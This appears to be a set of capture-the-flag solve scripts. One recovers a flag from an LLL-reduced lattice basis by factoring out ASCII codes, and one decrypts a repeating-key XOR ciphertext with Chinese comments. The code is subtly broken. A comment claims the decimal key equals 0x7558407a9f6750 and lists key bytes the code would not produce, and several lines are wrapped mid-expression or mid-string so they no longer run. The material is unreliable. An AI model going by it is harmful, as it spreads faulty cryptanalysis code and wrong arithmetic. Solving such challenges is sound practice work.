# for i in range(min(5, B.nrows())): # Print first 5 rows or fewer
#     print(f"B[{i}]: {B[i]}")

# --- Try to find the correct vector ---
target_vec = None
if B[0].is_zero():
    print("B[0] is the zero vector. Trying B[1]...")
    if B.nrows() > 1 and not B[1].is_zero():
        target_vec = B[1]
        print("Using B[1] as the target vector.")
    else:
        print("B[1] is also zero or does not exist. Cannot proceed.")
else:
    # Check if B[0] magnitude seems reasonable (heuristic)
    # A very small norm might indicate the zero vector or an issue.
    # Check nbits of the first component as a rough proxy for size.
    if abs(B[0][0]).nbits() > 100: # Expect components ~135 bits
        target_vec = B[0]
        print("Using B[0] as the target vector.")
    else:
        print(f"B[0] seems potentially too small (first component has {abs(B[0][0]).nbits()} bits). Checking B[1]...")
        if B.nrows() > 1 and not B[1].is_zero() and abs(B[1][0]).nbits() > 100:
            target_vec = B[1]
            print("Using B[1] as the target vector.")
        else:
            print("B[1] is also zero, too small, or doesn't exist. Defaulting back to B[0] or stopping.")
            # Decide whether to proceed with B[0] or stop if both seem wrong
            if not B[0].is_zero():
                print("Proceeding with potentially small B[0].")
                target_vec = B[0]
            else:
                print("Both B[0] and B[1] seem problematic. Stopping.")
                target_vec = None # Ensure we don't proceed

if target_vec is None:
    print("Could not identify a suitable short vector from LLL basis.")
else:
    # print(f"Using vector: {target_vec}") # Optional: print the vector being used
    flag = ""
    print("Attempting to recover flag from the selected vector...")

    found_flag = True
    possible_chars = list(range(32, 127)) # ASCII printable range

    for i, val in enumerate(target_vec): # Use enumerate to get index if needed
        abs_val = abs(ZZ(val))
        if abs_val == 0:
            print(f"Error: Component {i} is zero.")
            flag += "?"
            found_char = False # Maintain consistency
            found_flag = False # Mark overall flag recovery as failed
            continue # Skip to the next component

```

```

        found_char = False
        for char_code in possible_chars:
            if abs_val % char_code == 0:
                potential_prime = abs_val // char_code
                # Check if quotient is non-zero and prime
                # Add bit size check for robustness
                if potential_prime != 0 and potential_prime.is_prime() and 120 <
potential_prime.nbits() < 140:
                    flag += chr(char_code)
                    found_char = True
                    break # Found the correct factor
        if not found_char:
            # If no factor is found, print more info
            print(f"Error: Could not find valid character factor for value
{abs_val} (nbits: {abs_val.nbits()}) at index {i}")
            flag += "?"
            found_flag = False

# Print final result
if found_flag:
    print("\nSuccessfully recovered flag:")
    print(flag)
else:
    print("\nCould not recover the full flag. Partial result:")
    print(flag)

```

Xxxxxxxxor

```

import binascii
import math

# --- 本次连接获取的新数据 ---
key_decimal_str = "129159542755632"
ciphertext_hex =
"312d18e90576e487ecb33034d1e7c8737024740619e64564155759a615558407a9f6756471e7cc9634
d"
# --- 数据结束 ---

try:
    key_decimal = int(key_decimal_str)

    # --- 根据新的数字计算密钥字节（大端序） ---
    # hex(129159542755632) -> 0x7558407a9f6750 -> 需要 7 bytes
    num_bytes = 7 # 根据上面计算，这次是7字节
    print(f"Attempting key interpretation: Decimal {key_decimal} -> {num_bytes}
bytes (BIG-endian)")
    key_bytes = key_decimal.to_bytes(num_bytes, byteorder='big')
    # 密钥应该是 b'\x75\x58\x40\x7a\x9f\x67\x50'

except ValueError:
    print(f"Error: Could not convert '{key_decimal_str}' to integer.")

```

```

    exit()
except OverflowError:
    print(f"Error: Decimal number issue with {num_bytes} bytes.")
    exit()

# 将十六进制密文转换为 bytes
ciphertext_bytes = binascii.unhexlify(ciphertext_hex)
print(f"Key length: {len(key_bytes)} bytes. Ciphertext length:
{len(ciphertext_bytes)} bytes.") # 应该输出 7 和 49

# 执行 XOR 解密
result_bytes = bytearray()
key_len = len(key_bytes)
if key_len == 0:
    print("Error: Key is empty.")
    exit()

for i in range(len(ciphertext_bytes)):
    # 密文字节与对应密钥字节（循环使用）进行 XOR
    xor_byte = ciphertext_bytes[i] ^ key_bytes[i % key_len]
    result_bytes.append(xor_byte)

# 尝试将解密后的 bytes 解码为字符串
try:
    decrypted_text = result_bytes.decode('utf-8')
    print("Decrypted Text:")
    print(decrypted_text)
    # 因为 49 % 7 == 0, 这次可能得到完整的 flag
except UnicodeDecodeError:
    print("Failed to decode result as UTF-8. Here are the raw bytes:")
    print(result_bytes)
    print("Hex representation of result:")
    print(binascii.hexlify(result_bytes).decode('utf-8'))

```